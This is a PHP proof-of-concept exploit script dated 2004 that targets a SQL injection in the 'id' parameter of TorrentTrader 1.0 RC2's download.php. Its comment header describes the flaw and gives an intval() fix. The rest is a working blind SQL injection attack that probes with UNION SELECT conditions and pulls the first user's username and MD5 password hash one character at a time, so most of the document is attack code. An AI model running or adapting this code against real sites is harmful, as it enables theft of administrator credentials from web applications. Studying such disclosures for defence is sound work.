torrent_exp.php.txt

`Usage:  
/$ php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"/  
  
#!/usr/bin/php  
  
<?  
  
/*  
  
TorrentTrader 1.0 RC2 SQL Injection Proof of Concept  
By aCiDBiTS [email protected] 31-August-2004  
  
"TorrentTrader (http://www.torrenttrader.com/) is a feature  
packed and  
highly customisable open-source BitTorrent tracker."  
  
This PoC dumps the username and password's md5 hash of first user in  
TorrentTrader web application database, that should be the administrator.  
First it fetchs a valid torrent id, then it determines if database's user  
can perform "union select" and finally obtains the username and  
md5(password). Tested on TorrentTrader 1.0 RC2, maybe older versions also  
vulnerable.  
  
Usage (in my debian box):  
php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"  
  
  
++ Vulnerability description & workaround++  
  
There is no user input sanization for parameter "id" in  
download.php prior  
beeing used in a SQL query. This can be exploited to manipulate SQL queries  
by injecting arbitrary SQL code. A workaround to solve this is to modify  
download.php, line13:  
  
$res = mysql_query("SELECT filename FROM torrents WHERE id = $id");  
  
With:  
  
$res = mysql_query("SELECT filename FROM torrents WHERE id =  
".intval($id));  
  
  
*/  
  
  
echo "+----------------------------------------------------------+\n|  
TorrentTrader 1.0 RC2 SQL Injection Proof of Concept |\n| By aCiDBiTS  
[email protected] 31-August-2004  
|\n+----------------------------------------------------------+\n\n";  
  
  
if($argc<2) die("Usage: ".$argv[0]." URL_to_TorrentTrader_script\n\n");  
$host=$argv[1];  
if(substr($host,strlen($host)-1,1)!='/') $host.='/';  
  
echo "[+] Getting valid torrent id ... ";  
$webc=get_web($host);  
$temp=explode("torrents-details.php?id=",$webc);  
$id=intval($temp[1]);  
if( !$id ) die( "Failed!\n\n");  
echo "OK\n Using Torrent id: $id\n\n";  
  
echo "[+] Checking if injection is possible ... ";  
$bas=$id."%20and%200%20union%20select%201%20from%20users%20where%20";  
if( test_cond( $bas."1" ) && !test_cond( $bas."0" ) ) echo " OK\n\n"; else  
die ("\n\n Failed! \n\n");  
  
echo "[+] Getting username & password ... \n Username: ";  
get_field( "username");  
echo "\n MD5(Password): ";  
get_field( "password" );  
  
die("\n\n \ / \ /\n (Oo) Done! (oO)\n //||\\\\  
//||\\\\\n\n");  
  
  
function test_cond( $cond )  
{  
global $host;  
$res=get_web( $host."download.php?id=".$cond);  
if( eregi( "The ID has been found on the Database, but the torrent has  
gone!", $res ) )  
return 1;  
else return 0;  
}  
  
  
function get_field( $field )  
{  
global $bas;  
$unval= "  
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";  
$idx=1;  
$min=0;  
$max=strlen($unval);  
while($min!=$max) {  
$mid=$min+(($max-$min)/2);  
if(  
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1)))  
) {  
$idx++;  
echo substr($unval,$mid,1);  
$min=0;  
$max=strlen($unval);  
if(  
!test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))") )  
return;  
} else {  
if(  
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1)))  
) $max=$mid;  
else $min=$mid;  
}  
}  
die( "\n\nUnexpected error!\n\n");  
}  
  
  
function get_web($url)  
{  
$ch=curl_init();  
curl_setopt ($ch, CURLOPT_URL, $url);  
curl_setopt ($ch, CURLOPT_HEADER, 0);  
curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);  
$data=curl_exec ($ch);  
curl_close ($ch);  
return $data;  
}  
  
  
/* \ /  
(Oo)  
//||\\ */  
  
?>  
  
`